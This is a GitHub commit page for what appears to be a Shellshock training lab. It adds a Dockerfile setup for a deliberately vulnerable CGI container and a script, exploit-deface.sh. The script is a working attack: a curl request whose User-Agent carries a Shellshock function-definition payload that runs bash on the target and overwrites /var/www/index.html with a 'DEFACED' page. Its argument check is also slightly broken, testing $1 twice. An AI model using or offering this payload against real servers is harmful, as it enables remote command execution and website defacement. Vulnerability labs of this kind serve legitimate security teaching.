Skip to content

Commit b72c6ab

Browse files
committed
exploit deface added
1 parent 8ab474f commit b72c6ab

File tree

3 files changed

+32
-0
lines changed

3 files changed

+32
-0
lines changed

Dockerfile

+6
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,15 @@ RUN apt-get update && \
99
apt-get clean && \
1010
rm -rf /var/lib/apt/lists/*
1111

12+
COPY packages /packages
13+
14+
RUN dpkg -i /packages/*
15+
1216
COPY vulnerable /usr/lib/cgi-bin/
1317
COPY index.html /var/www
1418

19+
RUN chown www-data:www-data /var/www/index.html
20+
1521
EXPOSE 80
1622

1723
COPY main.sh /

README.md

+2
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@ Shellshock, also known as Bashdoor, is a family of security bugs in the widely u
66

77
## Exploit
88

9+
There are several exploits
10+
911
## Fix
1012

1113
### Disclaimer

exploit-deface.sh

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#!/bin/bash
2+
3+
if [ -z "$1" ]
4+
then
5+
echo 'Please inform the IP and PORT of the target'
6+
echo 'Example: ./exploit-deface.sh <ip> <port>'
7+
return -1
8+
fi
9+
10+
if [ -z "$1" ]
11+
then
12+
echo 'Please inform the IP and PORT of the target'
13+
echo 'Example: ./exploit-deface.sh <ip> <port>'
14+
return -1
15+
fi
16+
17+
ip=$1
18+
port=$2
19+
20+
echo '[+] Sending the exploit'
21+
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo \"<html><body><h1>DEFACED</h1></body></html>\" > /var/www/index.html'" http://$ip:$port/cgi-bin/vulnerable && \
22+
echo '[+] Target exploited, testing if defacement page is deployed' && \
23+
curl http://$ip:$port
24+
echo '[+] Done'

0 commit comments

Comments
 (0)